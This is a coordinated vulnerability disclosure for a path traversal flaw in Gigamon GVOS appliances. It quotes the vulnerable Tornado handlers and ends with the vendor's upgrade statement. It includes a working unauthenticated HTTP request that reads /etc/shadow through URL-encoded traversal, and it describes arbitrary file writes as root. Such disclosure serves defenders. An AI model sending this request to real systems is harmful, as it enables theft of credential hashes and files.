
Proof-of-concept exploit for CVE-2026-36848, a path traversal vulnerability in Gigamon GVOS appliances enabling unauthenticated remote file read and partial write with root privileges via the TornadoHTTP service on port 8089.
A critical path traversal vulnerability was identified in the web-based management engine on port 8089 of Gigamon-VUE OS (GVOS) appliances. This flaw exists in the legacy H-VUE subsystem within the persistd daemon and allows an unauthenticated, remote attacker with network access to the service to read arbitrary files and perform partial write operations (overwrite of existing files is not possible) on the system with root privileges.
/opt/tms/persistd_py/persistd.pyroot)The TornadoHTTP web service running on port 8089 implements a routing configuration mapped inside /opt/tms/persistd_py/persistd.py. This daemon exposes several routes to handle database interactions and configuration backups:
app = tornado.web.Application([
(r"/upload(?:/([^/]*))/?", UploadDbFile),
(r"/download/([^/]+)/?", DownloadDbFile),
# ... other routes
])
The handlers DownloadDbFile and UploadDbFile directly consume the user-supplied paths from the URI regex capture groups and pass them unfiltered to the lower-level utility functions.
When a client requests a file download, the GET handler invokes the download_file utility:
class DownloadDbFile(GenericApiHandler):
@gen.coroutine
def get(self, file_name):
# ... [validation steps skipped for clarity] ...
elif file_name is not None:
msgif = yield download_file(self, file_name)
The underlying target function download_file attempts to open the requested file using naive string concatenation rather than resolving a safe canonical path:
@gen.coroutine
def download_file(caller, file_name):
buf_size = 4096
caller.set_header('Content-Type', 'application/octet-stream')
caller.set_header('Content-Disposition', 'filename=' + file_name)
msg = 'ok'
try:
# Root Cause: Direct concatenation enables directory breakout via traversal sequences
with open(DBFILE_DIR + file_name, 'r') as f:
while True:
data = f.read(buf_size)
if not data:
break
caller.write(data)
except IOError as ioe:
msg = ioe
raise gen.Return(msg)
Because there is no sanity filtering (e.g., checking for directory traversal sequences like ..), any relative path sequence injected via file_name gets concatenated directly onto DBFILE_DIR and resolved relative to the system root.
Similarly, the PUT handler used for database uploading passes the request body and user-defined path directly to the upload_file utility:
class UploadDbFile(GenericApiHandler):
@gen.coroutine
def put(self, path=None):
# ...
if path is not None:
msgif = yield upload_file(self.request.body, path)
The upload_file routine utilizes os.path.join to determine the target path. However, a common security misconception is that os.path.join protects against traversal. In reality, if a component passed to os.path.join represents an absolute path or contains relative traversal steps, the resolved path will escape the base directory:
@gen.coroutine
def upload_file(body, path):
msg = 'ok'
tmp_path = None
try:
yield lock.acquire()
# Vulnerable Sink 1: os.path.join does not neutralize directory traversal sequences
full_path = os.path.join(DBFILE_DIR, path)
if os.path.exists(full_path):
msg = 'dup'
else:
tmp_path = full_path + '.tmp'
old_files = filesInDir(DBFILE_DIR)
with open(tmp_path, 'wb') as out:
out.write(bytes(body))
# Vulnerable Sink 2: rename operation performs unsafe string concatenation
os.rename(tmp_path, DBFILE_DIR + path)
This structural lack of input sanitization allows an attacker to supply a path containing traversal steps, enabling the service to write arbitrary files outside the boundaries of DBFILE_DIR with the permissions of the root user context running the daemon.
If an attacker URL-encodes the path separators (/ as %2F), the routing engine decodes and evaluates the sequence smoothly, bypassing standard path restrictions.
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: <target_ip>:8089
Accept: /
Below is the official statement and upgrade guidance provided by the vendor regarding this vulnerability:
The issue in this CVE was present in the H-VUE subsystem only. GVOS version 6 removed the H-VUE subsystem entirely, with GVOS 5.16.1 being the last version to incorporate it. Version 5.16.1 was end of support on the 26th May 2023. No currently supported version of GVOS contains this vulnerability.
The support matrix for GVOS, which documents supported versions and end of support dates, can be found here:
https://www.gigamon.com/content/dam/customer-portal/MS-Software-Versions-7181.pdfGigamon's end of sale and end of life policy can be found here:
https://www.gigamon.com/support/policies/eol-policy.htmlNo Gigamon production environment should be running an unsupported software version (NIST SP 800-53 SA-22 "Unsupported System Components"). If you are doing so, Gigamon strongly recommends upgrading to a supported release as soon as possible. Supported customers can obtain upgraded versions of GVOS from the Gigamon community portal. Unsupported customers are asked to contact Gigamon to discuss support options:
https://www.gigamon.com/contact-sales.html
We would like to express our gratitude to the Gigamon Product Security and Engineering teams for their exemplary coordination during this disclosure process.